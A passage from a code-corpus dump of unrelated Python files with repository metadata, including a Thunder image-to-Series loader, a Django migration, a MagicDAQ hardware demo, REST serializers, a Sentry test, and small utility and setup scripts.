max((height * width) / blocksPerPlane, 1) # integer division while blocksPerPlane * blocklenPixels < height * width: # make sure we're reading the plane fully blocksPerPlane += 1 # prevent bringing in self in closure: awsCredentialsOverride = self.awsCredentialsOverride # keys will be planeidx, blockidx: keys = list(itertools.product(xrange(npages), xrange(blocksPerPlane))) def readBlockFromTiff(planeIdxBlockIdx): planeIdx, blockIdx = planeIdxBlockIdx blocks = [] planeShape = None blockStart = None blockEnd = None for fname in filenames: reader_ = getFileReaderForPath(fname)(awsCredentialsOverride=awsCredentialsOverride) fp = reader_.open(fname) try: if doMinimizeReads: # use multitif module to generate a fake, in-memory # one-page tif file. the advantage of this is that it # cuts way down on the many small reads that PIL/pillow # will make otherwise, which would be a problem for s3 # or Google Storage tiffParser_ = multitif.TiffParser(fp, debug=False) tiffFilebuffer = multitif.packSinglePage(tiffParser_, pageIdx=planeIdx) byteBuf = io.BytesIO(tiffFilebuffer) try: pilImg = Image.open(byteBuf) ary = conversionFcn(pilImg).T finally: byteBuf.close() del tiffFilebuffer, tiffParser_, pilImg, byteBuf else: # read tif using PIL directly pilImg = Image.open(fp) pilImg.seek(planeIdx) ary = conversionFcn(pilImg).T del pilImg if not planeShape: planeShape = ary.shape[:] blockStart = blockIdx * blocklenPixels blockEnd = min(blockStart+blocklenPixels, planeShape[0]*planeShape[1]) blocks.append(ary.ravel(order='C')[blockStart:blockEnd]) del ary finally: fp.close() buf = vstack(blocks).T # dimensions are now linindex x time (images) del blocks buf = buf.astype(newDtype, casting=casting, copy=False) # append subscript keys based on dimensions linearIdx = arange(blockStart, blockEnd) # zero-based seriesKeys = zip(*map(tuple, unravel_index(linearIdx, planeShape, order='C'))) # add plane index to end of keys if npages > 1: seriesKeys = [tuple(list(keys_)[::-1]+[planeIdx]) for keys_ in seriesKeys] else: seriesKeys = [tuple(list(keys_)[::-1]) for keys_ in seriesKeys] return zip(seriesKeys, buf) # map over blocks rdd = self.sc.parallelize(keys, len(keys)).flatMap(readBlockFromTiff) if npages > 1: dims = (npages, width, height) else: dims = (width, height) metadata = (dims, ntimepoints, newDtype) return rdd, metadata def fromStack(self, dataPath, dims, ext="stack", blockSize="150M", dtype='int16', newDtype='smallfloat', casting='safe', startIdx=None, stopIdx=None, recursive=False): """Load a Series object directly from binary image stack files. Parameters ---------- dataPath: string Path to data files or directory, specified as either a local filesystem path or in a URI-like format, including scheme. A dataPath argument may include a single '*' wildcard character in the filename. dims: tuple of positive int Dimensions of input image data, ordered with the fastest-changing dimension first. ext: string, optional, default "stack" Extension required on data files to be loaded. blockSize: string formatted as e.g. "64M", "512k", "2G", or positive int. optional, default "150M" Requested size of Series partitions in bytes (or kilobytes, megabytes, gigabytes). dtype: dtype or dtype specifier, optional, default 'int16' Numpy dtype of input stack data newDtype: dtype or dtype specifier or string 'smallfloat' or None, optional, default 'smallfloat' Numpy dtype of output series data. Most methods expect Series data to be floating-point. Input data will be cast to the requested `newdtype` if not None - see Data `astype()` method. casting: 'no'|'equiv'|'safe'|'same_kind'|'unsafe', optional, default 'safe' Casting method to pass on to numpy's `astype()` method; see numpy documentation for details. startIdx, stopIdx: nonnegative int. optional. Indices of the first and last-plus-one data file to load, relative to the sorted filenames matching `dataPath` and `ext`. Interpreted according to python slice indexing conventions. recursive: boolean, default False If true, will recursively descend directories rooted at dataPath, loading all files in the tree that have an extension matching 'ext'. Recursive loading is currently only implemented for local filesystems (not s3). """ seriesBlocks, npointsInSeries, newDtype = \ self._getSeriesBlocksFromStack(dataPath, dims, ext=ext, blockSize=blockSize, dtype=dtype, newDtype=newDtype, casting=casting, startIdx=startIdx, stopIdx=stopIdx, recursive=recursive) return Series(seriesBlocks, dims=dims, dtype=newDtype, index=arange(npointsInSeries)) def fromTif(self, dataPath, ext="tif", blockSize="150M", newDtype='smallfloat', casting='safe', startIdx=None, stopIdx=None, recursive=False): """Load a Series object from multipage tiff files. Parameters ---------- dataPath: string Path to data files or directory, specified as either a local filesystem path or in a URI-like format, including scheme. A dataPath argument may include a single '*' wildcard character in the filename. ext: string, optional, default "tif" Extension required on data files to be loaded. blockSize: string formatted as e.g. "64M", "512k", "2G", or positive int. optional, default "150M" Requested size of Series partitions in bytes (or kilobytes, megabytes, gigabytes). newDtype: dtype or dtype specifier or string 'smallfloat' or None, optional, default 'smallfloat' Numpy dtype of output series data. Most methods expect Series data to be floating-point. Input data will be cast to the requested `newdtype` if not None - see Data `astype()` method. casting: 'no'|'equiv'|'safe'|'same_kind'|'unsafe', optional, default 'safe' Casting method to pass on to numpy's `astype()` method; see numpy documentation for details. startIdx, stopIdx: nonnegative int. optional. Indices of the first and last-plus-one data file to load, relative to the sorted filenames matching `dataPath` and `ext`. Interpreted according to python slice indexing conventions. recursive: boolean, default False If true, will recursively descend directories rooted at dataPath, loading all files in the tree that have an extension matching 'ext'. Recursive loading is currently only implemented for local filesystems (not s3). """ seriesBlocks, metadata = self._getSeriesBlocksFromMultiTif(dataPath, ext=ext, blockSize=blockSize, newDtype=newDtype, casting=casting, startIdx=startIdx, stopIdx=stopIdx, recursive=recursive) dims, npointsInSeries, dtype = metadata return Series(seriesBlocks, dims=Dimensions.fromTuple(dims[::-1]), dtype=dtype, index=arange(npointsInSeries)) def __saveSeriesRdd(self, seriesBlocks, outputDirPath, dims, npointsInSeries, dtype, overwrite=False): if not overwrite: self._checkOverwrite(outputDirPath) overwrite = True # prevent additional downstream checks for this path writer = getParallelWriterForPath(outputDirPath)(outputDirPath, overwrite=overwrite, awsCredentialsOverride=self.awsCredentialsOverride) def blockToBinarySeries(kvIter): label = None keyPacker = None buf = StringIO() for seriesKey, series in kvIter: if keyPacker is None: keyPacker = struct.Struct('h'*len(seriesKey)) label = SimpleBlocks.getBinarySeriesNameForKey(seriesKey) + ".bin" buf.write(keyPacker.pack(*seriesKey)) buf.write(series.tostring()) val = buf.getvalue() buf.close() return [(label, val)] seriesBlocks.mapPartitions(blockToBinarySeries).foreach(writer.writerFcn) writeSeriesConfig(outputDirPath, len(dims), npointsInSeries, valueType=dtype, overwrite=overwrite, awsCredentialsOverride=self.awsCredentialsOverride) def saveFromStack(self, dataPath, outputDirPath, dims, ext="stack", blockSize="150M", dtype='int16', newDtype=None, casting='safe', startIdx=None, stopIdx=None, overwrite=False, recursive=False): """Write out data from binary image stack files in the Series data flat binary format. Parameters ---------- dataPath: string Path to data files or directory, specified as either a local filesystem path or in a URI-like format, including scheme. A dataPath argument may include a single '*' wildcard character in the filename. outputDirPath: string Path to a directory into which to write Series file output. An outputdir argument may be either a path on the local file system or a URI-like format, as in dataPath. dims: tuple of positive int Dimensions of input image data, ordered with the fastest-changing dimension first. ext: string, optional, default "stack" Extension required on data files to be loaded. blockSize: string formatted as e.g. "64M", "512k", "2G", or positive int. optional, default "150M" Requested size of Series partitions in bytes (or kilobytes, megabytes, gigabytes). dtype: dtype or dtype specifier, optional, default 'int16' Numpy dtype of input stack data newDtype: floating-point dtype or dtype specifier or string 'smallfloat' or None, optional, default None Numpy dtype of output series binary data. Input data will be cast to the requested `newdtype` if not None - see Data `astype()` method. casting: 'no'|'equiv'|'safe'|'same_kind'|'unsafe', optional, default 'safe' Casting method to pass on to numpy's `astype()` method; see numpy documentation for details. startIdx, stopIdx: nonnegative int. optional. Indices of the first and last-plus-one data file to load, relative to the sorted filenames matching `dataPath` and `ext`. Interpreted according to python slice indexing conventions. overwrite: boolean, optional, default False If true, the directory specified by outputdirpath will first be deleted, along with all its contents, if it already exists. If false, a ValueError will be thrown if outputdirpath is found to already exist. """ if not overwrite: self._checkOverwrite(outputDirPath) overwrite = True # prevent additional downstream checks for this path seriesBlocks, npointsInSeries, newDtype = \ self._getSeriesBlocksFromStack(dataPath, dims, ext=ext, blockSize=blockSize, dtype=dtype, newDtype=newDtype, casting=casting, startIdx=startIdx, stopIdx=stopIdx, recursive=recursive) self.__saveSeriesRdd(seriesBlocks, outputDirPath, dims, npointsInSeries, newDtype, overwrite=overwrite) def saveFromTif(self, dataPath, outputDirPath, ext="tif", blockSize="150M", newDtype=None, casting='safe', startIdx=None, stopIdx=None, overwrite=False, recursive=False): """Write out data from multipage tif files in the Series data flat binary format. Parameters ---------- dataPath: string Path to data files or directory, specified as either a local filesystem path or in a URI-like format, including scheme. A dataPath argument may include a single '*' wildcard character in the filename. outputDirPpath: string Path to a directory into which to write Series file output. An outputdir argument may be either a path on the local file system or a URI-like format, as in dataPath. ext: string, optional, default "stack" Extension required on data files to be loaded. blockSize: string formatted as e.g. "64M", "512k", "2G", or positive int. optional, default "150M" Requested size of Series partitions in bytes (or kilobytes, megabytes, gigabytes). newDtype: floating-point dtype or dtype specifier or string 'smallfloat' or None, optional, default None Numpy dtype of output series binary data. Input data will be cast to the requested `newdtype` if not None - see Data `astype()` method. casting: 'no'|'equiv'|'safe'|'same_kind'|'unsafe', optional, default 'safe' Casting method to pass on to numpy's `astype()` method; see numpy documentation for details. startIdx, stopIdx: nonnegative int. optional. Indices of the first and last-plus-one data file to load, relative to the sorted filenames matching `dataPath` and `ext`. Interpreted according to python slice indexing conventions. overwrite: boolean, optional, default False If true, the directory specified by outputdirpath will first be deleted, along with all its contents, if it already exists. If false, a ValueError will be thrown if outputdirpath is found to already exist. """ if not overwrite: self._checkOverwrite(outputDirPath) overwrite = True # prevent additional downstream checks for this path seriesBlocks, metadata = self._getSeriesBlocksFromMultiTif(dataPath, ext=ext, blockSize=blockSize, newDtype=newDtype, casting=casting, startIdx=startIdx, stopIdx=stopIdx, recursive=recursive) dims, npointsInSeries, dtype = metadata self.__saveSeriesRdd(seriesBlocks, outputDirPath, dims, npointsInSeries, dtype, overwrite=overwrite) def fromMatLocal(self, dataPath, varName, keyFile=None): """Loads Series data stored in a Matlab .mat file. `datafile` must refer to a path visible to all workers, such as on NFS or similar mounted shared filesystem. """ data = loadmat(dataPath)[varName] if data.ndim > 2: raise IOError('Input data must be one or two dimensional') if keyFile: keys = map(lambda x: tuple(x), loadmat(keyFile)['keys']) else: keys = arange(0, data.shape[0]) rdd = Series(self.sc.parallelize(zip(keys, data), self.minPartitions), dtype=str(data.dtype)) return rdd def fromNpyLocal(self, dataPath, keyFile=None): """Loads Series data stored in the numpy save() .npy format. `datafile` must refer to a path visible to all workers, such as on NFS or similar mounted shared filesystem. """ data = load(dataPath) if data.ndim > 2: raise IOError('Input data must be one or two dimensional') if keyFile: keys = map(lambda x: tuple(x), load(keyFile)) else: keys = arange(0, data.shape[0]) rdd = Series(self.sc.parallelize(zip(keys, data), self.minPartitions), dtype=str(data.dtype)) return rdd def loadConf(self, dataPath, confFilename='conf.json'): """Returns a dict loaded from a json file. Looks for file named `conffile` in same directory as `dataPath` Returns {} if file not found """ if not confFilename: return {} reader = getFileReaderForPath(dataPath)(awsCredentialsOverride=self.awsCredentialsOverride) try: jsonBuf = reader.read(dataPath, filename=confFilename) except FileNotFoundError: return {} params = json.loads(jsonBuf) if 'format' in params: raise Exception("Numerical format of value should be specified as 'valuetype', not 'format'") if 'keyformat' in params: raise Exception("Numerical format of key should be specified as 'keytype', not 'keyformat'") return params def writeSeriesConfig(outputDirPath, nkeys, nvalues, keyType='int16', valueType='int16', confFilename="conf.json", overwrite=True, awsCredentialsOverride=None): """ Helper function to write out a conf.json file with required information to load Series binary data. """ import json from thunder.rdds.fileio.writers import getFileWriterForPath filewriterClass = getFileWriterForPath(outputDirPath) # write configuration file # config JSON keys are lowercased "valuetype", "keytype", not valueType, keyType conf = {'input': outputDirPath, 'nkeys': nkeys, 'nvalues': nvalues, 'valuetype': str(valueType), 'keytype': str(keyType)} confWriter = filewriterClass(outputDirPath, confFilename, overwrite=overwrite, awsCredentialsOverride=awsCredentialsOverride) confWriter.writeFile(json.dumps(conf, indent=2)) # touch "SUCCESS" file as final action successWriter = filewriterClass(outputDirPath, "SUCCESS", overwrite=overwrite, awsCredentialsOverride=awsCredentialsOverride) successWriter.writeFile('')

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c7dedb48cc1d235760b585e1ff0e7c005780aeec

491

py

Python

api/scheduler/migrations/0001_initial.py

jfaach/stock-app

9cd0f98d3ec5d31dcd6680c5bf8b7b0fcdf025a6

[ "CC0-1.0" ]

null

api/scheduler/migrations/0001_initial.py

jfaach/stock-app

9cd0f98d3ec5d31dcd6680c5bf8b7b0fcdf025a6

[ "CC0-1.0" ]

null

api/scheduler/migrations/0001_initial.py

jfaach/stock-app

9cd0f98d3ec5d31dcd6680c5bf8b7b0fcdf025a6

[ "CC0-1.0" ]

null

# Generated by Django 3.1.1 on 2020-12-16 03:07 from django.db import migrations, models class Migration(migrations.Migration): initial = True dependencies = [ ] operations = [ migrations.CreateModel( name='Scheduler', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('minutes', models.IntegerField(default=15)), ], ), ]

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1

c7e2f163fdb11300c85e2c17e27cb56d8ee3f07e

12,844

py

Python

example_python_files/MagicDAQ,MABoard,FullDemo.py

MagicDAQ/magicdaq_docs

896a2565a28d80c733d8a137211212816ef3fbe2

[ "MIT" ]

1

2021-05-20T21:11:13.000Z

example_python_files/MagicDAQ,MABoard,FullDemo.py

MagicDAQ/magicdaq_docs

896a2565a28d80c733d8a137211212816ef3fbe2

[ "MIT" ]

null

example_python_files/MagicDAQ,MABoard,FullDemo.py

MagicDAQ/magicdaq_docs

896a2565a28d80c733d8a137211212816ef3fbe2

[ "MIT" ]

null

############################################################## #*** MagicDAQ USB DAQ and M&A Board General Demo Script *** ############################################################## #*** Websites *** # MagicDAQ Website: # https://www.magicdaq.com/ # API Docs Website: # https://magicdaq.github.io/magicdaq_docs/ #*** Install MagicDAQ *** # Download the MagicDAQ python package from pypi # Run this command in a command prompt: # python -m pip install magicdaq # Further docs: https://magicdaq.github.io/magicdaq_docs/#/Install_MagicDAQ # MagicDAQ is only compatible with Python 3 on Windows. It does not work on Linux at the moment. It does not work with Python 2. #*** Using Auto Code Complete With PyCharm *** # Using a code editor like Pycharm and want to get auto complete working for the MagicDAQ package? # Docs: https://magicdaq.github.io/magicdaq_docs/#/PyCharmCodeCompletion ############################################################## #*** Imports *** ############################################################## import sys import time # Import MagicDAQ print('*** MagicDAQ Install Check ***') print('') try: # Import MagicDAQDevice object from magicdaq.api_class import MagicDAQDevice # Create daq_one object daq_one = MagicDAQDevice() print('GOOD: MagicDAQ API is installed properly.') # Get MagicDAQ Driver Version driver_version = daq_one.get_driver_version() if driver_version == 1.0: print('GOOD: MagicDAQ Driver is installed properly.') print('You are ready to use MagicDAQ!') else: print('ERROR: MagicDAQ Driver version not expected value: '+str(driver_version)) print('Try installing MagicDAQ using pip again.') print('https://magicdaq.github.io/magicdaq_docs/#/Install_MagicDAQ') print('Feel free to email MagicDAQ Support at: support@magicdaq.com') except Exception as exception_text: print('Original exception: ') print(exception_text) print('') print('ERROR: Unable to import MagicDAQ API.') print('Mostly likely, MagicDAQ has not been properly downloaded and installed using pip.') print('Please consult MagicDAQ API Docs: https://magicdaq.github.io/magicdaq_docs/#/Install_MagicDAQ') print('Feel free to email MagicDAQ Support at: support@magicdaq.com') sys.exit(0) ############################################################## #*** MagicDAQ USB DAQ MDAQ300 Features Demo *** ############################################################## # This portion of the script shows off some of the USB DAQ's features # Hardware docs: https://www.magicdaq.com/product/magic-daq/ print('') print('*** MagicDAQ USB DAQ Demo ***') print('Ensure the USB DAQ is plugged into the computer using the USB cable.') print('The DAQ does not need to be connected to the M&A board.') print('') user_input = input('Press any key to continue.') #*** Open DAQ Device *** # Remember, the daq_one object has already been created in the above 'Imports' section # We must open the daq device before performing any hardware feature manipulation # https://magicdaq.github.io/magicdaq_docs/#/MagicDAQ_Basics daq_one.open_daq_device() ############################################################### #*** Analog Output Demo: Constant, Sine, and PWM on AO1 Pin *** ############################################################### print('') print('--- Analog Output Demo: Constant, Sine, and PWM Output ---') # Set constant 3 volt output voltage on AO1 pin daq_one.set_analog_output(1,3) print('Using an oscilloscope, place the scope probe on pin AO1 and connect the scope probe GND to one of the USB DAQs AGND pins') print('You should now observe a constant 3V') print('') user_input = input('Press any key to continue.') # Configure and start 300Hz sine wave with 2V amplitude on AO1 pin daq_one.configure_analog_output_sine_wave(1,300,amplitude=2) daq_one.start_analog_output_wave(1) print('You should now observe a 300Hz sine wave with 2V amplitude.') print('') user_input = input('Press any key to continue.') # Stop previous wave daq_one.stop_analog_output_wave(1) # Configure and start PWM wave, 200 Hz, 50% duty cycle, 3.3V amplitude daq_one.configure_analog_output_pwm_wave(1,200,50,amplitude=3.3) daq_one.start_analog_output_wave(1) print('You should now observe a 200Hz PWM wave, 50% duty cycle, with 3.3V amplitude.') print('') user_input = input('Press any key to continue.') # Stop the wave daq_one.stop_analog_output_wave(1) print('The wave should now stop. You could set it to GND using set_analog_ouput() if you wanted.') print('') user_input = input('Press any key to continue.') ############################################################### #*** Pulse Counter Pin Demo: PWM waves *** ############################################################### print('') print('--- Pulse Counter Pin Demo: PWM Waves ---') # Configure a 50 KHz frequency, 75% duty cycle, continuous PWM Wave on the counter pin (CTR0) # Note that unlike the analog output pins, the CTR0 pin always outputs at an amplitude of 3.3v when producing PWM waves daq_one.configure_counter_pwm(50000,75) # Start counter wave daq_one.start_counter_pwm() print('Place your scope probe on pin CTR0') print('You should see a 50kHz, 75% duty cycle PWM wave.') print('') user_input = input('Press any key to continue.') # Now stopping the counter PWM wave daq_one.stop_counter_pwm() print('The PWM wave will now stop.') print('') user_input = input('Press any key to continue.') ############################################################### #*** Pulse Counter Pin Demo: Pulse Counting *** ############################################################### print('') print('--- Pulse Counter Pin Demo: Pulse Counting ---') print('Use a piece of wire to bridge CTR0 to DGND several times') print('CTR0 has an internal pull up resistor. You are simulating a pulse pulling the voltage to GND.') print('You will have 8 sec to simulate some pulses.') print('') user_input = input('Press any key when you are ready to start.') # Start the Pulse Counter # Pulses will be counted on the falling edge daq_one.enable_pulse_counter() # Sleep for 8 sec time.sleep(8) # Read number of pulses print('Number of pulses counted: '+str(daq_one.read_pulse_counter())) print('You are using a piece of wire, so it is likely bouncing on and off the screw terminal, counting many pulses') print('') user_input = input('Stop simulating pulses. Press any key to continue.') print('') print('Now clearing the pulse counter') daq_one.clear_pulse_counter() print('Pulse count after clearing: '+str(daq_one.read_pulse_counter())) ############################################################### #*** Digital Pin Demo *** ############################################################### print('') print('--- Digital Pin Demo ---') # Set P0.0 pin LOW daq_one.set_digital_output(0,0) print('Place scope probe on pin P0.0, pin should be LOW') print('') user_input = input('Press any key to continue.') # Set P0.0 pin HIGH daq_one.set_digital_output(0,1) print('Place scope probe on pin P0.0, pin should be HIGH') print('') user_input = input('Press any key to continue.') ############################################################### #*** Analog Input Pin Demo *** ############################################################### print('') print('--- Analog Input Pin Demo ---') # Single ended voltage measurement print('Apply voltage to AI0 pin. If you dont have a power supply handy, you can run a wire from the +5V pin to the AI0 pin.') print('') user_input = input('Press any key to continue.') print('Voltage measured at AI0: '+str(daq_one.read_analog_input(0))) print('If you are using the +5V pin, remember that this voltage is derived from the USB Power supply, so it will be what ever your USB bus ir producing, probably something slightly less than 5V.') # If you want to perform a differential input measurement # daq_one.read_diff_analog_input() # https://magicdaq.github.io/magicdaq_docs/#/read_diff_analog_input ############################################################### #*** M&A Board Demo *** ############################################################### # M&A Board hardware spec: # https://www.magicdaq.com/product/ma-board-full-kit/ print('') print('*** M&A Board Demo ***') print('Ensure the USB DAQ is connected to the M&A board using the ribbon cable.') print('Ribbon cable pin out on page 6 of: ') print('https://www.magicdaq.com/mdaq350datasheet/') print('Use the provided power cable to apply power to the M&A board.') print('') user_input = input('Press any key to continue.') ############################################################### #*** Relay Demo *** ############################################################### print('') print('--- Relay Demo ---') print('Setting all relays to closed.') daq_one.set_digital_output(7, 1) daq_one.set_digital_output(6, 1) daq_one.set_digital_output(5, 1) daq_one.set_digital_output(4, 1) time.sleep(1) relay_count = 1 digital_pin_count = 7 while relay_count <= 4: print('Relay #: ' + str(relay_count) + ' Digital Pin #: ' + str(digital_pin_count)) # Set relay to open print('Setting relay to OPEN.') daq_one.set_digital_output(digital_pin_count, 0) time.sleep(1) # Increment counters relay_count += 1 digital_pin_count -= 1 print('') print('') user_input = input('Press any key to continue.') ############################################################### #*** Vout Demo *** ############################################################### print('') print('--- Vout Demo ---') print('Vout provides a variable voltage power output capable of up to 2A') print('By characterizing your M&A board, or building a feedback loop; voltage accuracy of Vout can be made quite good.') print('See notes on page 4 of the M&A data sheet.') print('https://www.magicdaq.com/mdaq350datasheet/') # See the M&A board data sheet for the equation that describes the Vout to Vout_set (0 and 2.77 here) relationship print('') print('Vout_set Set to 0V.') print('Measure Vout with a multimeter. It should be about 10V') daq_one.set_analog_output(0, 0) print('') user_input = input('Press any key to continue.') print('Vout_set Set to 2.77V') print('Measure Vout with a multimeter. It should be about 5V') daq_one.set_analog_output(0, 2.77) print('') user_input = input('Press any key to continue.') ############################################################### #*** Low Current Measurement Demo: A1 *** ############################################################### print('') print('--- A1 Low Current Measurement Demo ---') print('Use the 3.3V board voltage and a 20K resistor to put 165uA through A1.') print('') user_input = input('Press any key to continue.') # See the M&A board data sheet for the equation that describes the Vout to current relationship pin_4_voltage = daq_one.read_analog_input(4) print('Read voltage: ' + str(pin_4_voltage)) calculated_current_amps = pin_4_voltage / (332 * 97.863) ua_current = round((calculated_current_amps / .000001), 3) print('Calculated uA current: ' + str(ua_current)) ############################################################### #*** Current Measurement Demo: A2 *** ############################################################### print('') print('--- A2 Current Measurement Demo (+/- 5A max) ---') print('Use an external 5V power supply and 5 ohm power resistor to put 1 Amp through A2.') print('') user_input = input('Press any key to continue.') # See the M&A board data sheet for the equation that describes the Vout to current relationship pin_5_voltage = daq_one.read_analog_input(5) print('Read voltage: ' + str(pin_5_voltage)) calculated_current_amps = pin_5_voltage / (.01 * 200) # ma_current = round((calculated_current_amps / .001), 3) print('Calculated A current: ' + str(calculated_current_amps)) ############################################################### #*** Current Measurement Demo: A3 *** ############################################################### print('') print('--- A3 Current Measurement Demo (+/- 1.5A max) ---') print('Use an external 5V power supply and 5 ohm power resistor to put 1 Amp through A3.') print('') user_input = input('Press any key to continue.') # See the M&A board data sheet for the equation that describes the Vout to current relationship pin_6_voltage = daq_one.read_analog_input(6) print('Read voltage: ' + str(pin_6_voltage)) calculated_current_amps = pin_6_voltage / (.033 * 200) ma_current = round((calculated_current_amps / .001), 3) print('Calculated mA current: ' + str(ma_current)) ############################################################### #*** Demo Complete. *** ############################################################### # Close connection to daq daq_one.close_daq_device()

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null

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0

1

c7e32e60b520a7528f6c33e61490ce039febd1e0

2,257

py

Python

src/account/api/serializers.py

amirpsd/drf_blog_api

58be081a450840114af021e7412e469fad90456d

[ "MIT" ]

33

2022-02-11T12:16:29.000Z

2022-03-26T15:08:47.000Z

src/account/api/serializers.py

amirpsd/django_blog_api

58be081a450840114af021e7412e469fad90456d

[ "MIT" ]

null

src/account/api/serializers.py

amirpsd/django_blog_api

58be081a450840114af021e7412e469fad90456d

[ "MIT" ]

5

2022-02-11T13:03:52.000Z

2022-03-28T16:04:32.000Z

from django.contrib.auth import get_user_model from rest_framework import serializers class UsersListSerializer(serializers.ModelSerializer): class Meta: model = get_user_model() fields = [ "id", "phone", "first_name", "last_name", "author", ] class UserDetailUpdateDeleteSerializer(serializers.ModelSerializer): class Meta: model = get_user_model() exclude = [ "password", ] class UserProfileSerializer(serializers.ModelSerializer): phone = serializers.ReadOnlyField() class Meta: model = get_user_model() fields = [ "id", "phone", "first_name", "last_name", "two_step_password", ] class AuthenticationSerializer(serializers.Serializer): phone = serializers.CharField( max_length=12, min_length=12, ) def validate_phone(self, value): from re import match if not match("^989\d{2}\s*?\d{3}\s*?\d{4}$", value): raise serializers.ValidationError("Invalid phone number.") return value class OtpSerializer(serializers.Serializer): code = serializers.CharField( max_length=6, min_length=6, ) password = serializers.CharField( max_length=20, required=False, ) def validate_code(self, value): try: int(value) except ValueError as _: raise serializers.ValidationError("Invalid Code.") return value class GetTwoStepPasswordSerializer(serializers.Serializer): """ Base serializer two-step-password. """ password = serializers.CharField( max_length=20, ) confirm_password = serializers.CharField( max_length=20, ) def validate(self, data): password = data.get('password') confirm_password = data.get('confirm_password') if password != confirm_password: raise serializers.ValidationError( {"Error": "Your passwords didn't match."} ) return data class ChangeTwoStepPasswordSerializer(GetTwoStepPasswordSerializer): old_password = serializers.CharField( max_length=20, )

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null

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null

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0

1

c7e62258b56e4e6157b37bc5877b4350133a63c1

1,676

py

Python

tests/sentry/api/serializers/test_saved_search.py

practo/sentry

82f530970ce205696469fa702246396acfd947a1

[ "BSD-3-Clause" ]

4

2019-05-27T13:55:07.000Z

2021-03-30T07:05:09.000Z

tests/sentry/api/serializers/test_saved_search.py

practo/sentry

82f530970ce205696469fa702246396acfd947a1

[ "BSD-3-Clause" ]

99

2019-05-20T14:16:33.000Z

2021-01-19T09:25:15.000Z

tests/sentry/api/serializers/test_saved_search.py

practo/sentry

82f530970ce205696469fa702246396acfd947a1

[ "BSD-3-Clause" ]

1

2020-08-10T07:55:40.000Z

# -*- coding: utf-8 -*- from __future__ import absolute_import import six from sentry.api.serializers import serialize from sentry.models import SavedSearch from sentry.models.savedsearch import DEFAULT_SAVED_SEARCHES from sentry.testutils import TestCase class SavedSearchSerializerTest(TestCase): def test_simple(self): search = SavedSearch.objects.create( project=self.project, name='Something', query='some query' ) result = serialize(search) assert result['id'] == six.text_type(search.id) assert result['projectId'] == six.text_type(search.project_id) assert result['name'] == search.name assert result['query'] == search.query assert result['isDefault'] == search.is_default assert result['isUserDefault'] == search.is_default assert result['dateCreated'] == search.date_added assert not result['isPrivate'] assert not result['isGlobal'] def test_global(self): default_saved_search = DEFAULT_SAVED_SEARCHES[0] search = SavedSearch( name=default_saved_search['name'], query=default_saved_search['query'], is_global=True, ) result = serialize(search) assert result['id'] == six.text_type(search.id) assert result['projectId'] is None assert result['name'] == search.name assert result['query'] == search.query assert not result['isDefault'] assert not result['isUserDefault'] assert result['dateCreated'] == search.date_added assert not result['isPrivate'] assert result['isGlobal']

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1

c7e63e3b77d732305764d664c862b2625865bf3a

864

py

Python

xastropy/files/general.py

bpholden/xastropy

66aff0995a84c6829da65996d2379ba4c946dabe

[ "BSD-3-Clause" ]

3

2015-08-23T00:32:58.000Z

2020-12-31T02:37:52.000Z

xastropy/files/general.py

Kristall-WangShiwei/xastropy

723fe56cb48d5a5c4cdded839082ee12ef8c6732

[ "BSD-3-Clause" ]

104

2015-07-17T18:31:54.000Z

2018-06-29T17:04:09.000Z

xastropy/files/general.py

Kristall-WangShiwei/xastropy

723fe56cb48d5a5c4cdded839082ee12ef8c6732

[ "BSD-3-Clause" ]

16

2015-07-17T15:50:37.000Z

2019-04-21T03:42:47.000Z

""" #;+ #; NAME: #; general #; Version 1.0 #; #; PURPOSE: #; Module for monkeying with files and filenames #; 172Sep-2014 by JXP #;- #;------------------------------------------------------------------------------ """ # Import libraries import numpy as np from astropy.io import fits from astropy.io import ascii import os, pdb #### ############################### # Deal with .gz extensions, usually on FITS files # See if filenm exists, if so pass it back # def chk_for_gz(filenm,chk=None): import os, pdb # File exist? if os.path.lexists(filenm): chk=1 return filenm, chk # .gz already if filenm.find('.gz') > 0: chk=0 return filenm, chk # Add .gz if os.path.lexists(filenm+'.gz'): chk=1 return filenm+'.gz', chk else: chk=0 return filenm, chk

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c7e69418daeb84532c16aa76c96e7a0136b72521

655

py

Python

setup.py

muatik/genderizer

9866bf0371d1d984f6c4465ff78025d911f6a648

[ "MIT" ]

54

2015-01-19T22:53:48.000Z

2021-06-23T03:48:05.000Z

setup.py

nejdetckenobi/genderizer

9866bf0371d1d984f6c4465ff78025d911f6a648

[ "MIT" ]

4

2016-05-23T13:52:12.000Z

2021-05-14T10:24:37.000Z

setup.py

nejdetckenobi/genderizer

9866bf0371d1d984f6c4465ff78025d911f6a648

[ "MIT" ]

18

2015-01-30T00:06:40.000Z

2021-03-12T14:56:12.000Z

#!/usr/bin/env python try: from setuptools.core import setup except ImportError: from distutils.core import setup setup(name='genderizer', version='0.1.2.3', license='MIT', description='Genderizer tries to infer gender information looking at first name and/or making text analysis', long_description=open('README.md').read(), url='https://github.com/muatik/genderizer', author='Mustafa Atik', author_email='muatik@gmail.com', maintainer='Mustafa Atik', maintainer_email='muatik@gmail.com', packages=['genderizer'], package_data={'genderizer': ['data/*']}, platforms='any')

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null

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1

c7eb49aae87e95e2b4d243e5c05c7251bfbcbd52

2,508

py

Python

xlsxwriter/test/worksheet/test_write_print_options.py

Aeon1/XlsxWriter

6871b6c3fe6c294632054ea91f23d9e27068bcc1

[ "BSD-2-Clause-FreeBSD" ]

2

2019-07-25T06:08:09.000Z

2019-11-01T02:33:56.000Z

xlsxwriter/test/worksheet/test_write_print_options.py

Aeon1/XlsxWriter

6871b6c3fe6c294632054ea91f23d9e27068bcc1

[ "BSD-2-Clause-FreeBSD" ]

13

2019-07-14T00:29:05.000Z

2019-11-26T06:16:46.000Z

xlsxwriter/test/worksheet/test_write_print_options.py

Aeon1/XlsxWriter

6871b6c3fe6c294632054ea91f23d9e27068bcc1

[ "BSD-2-Clause-FreeBSD" ]

null

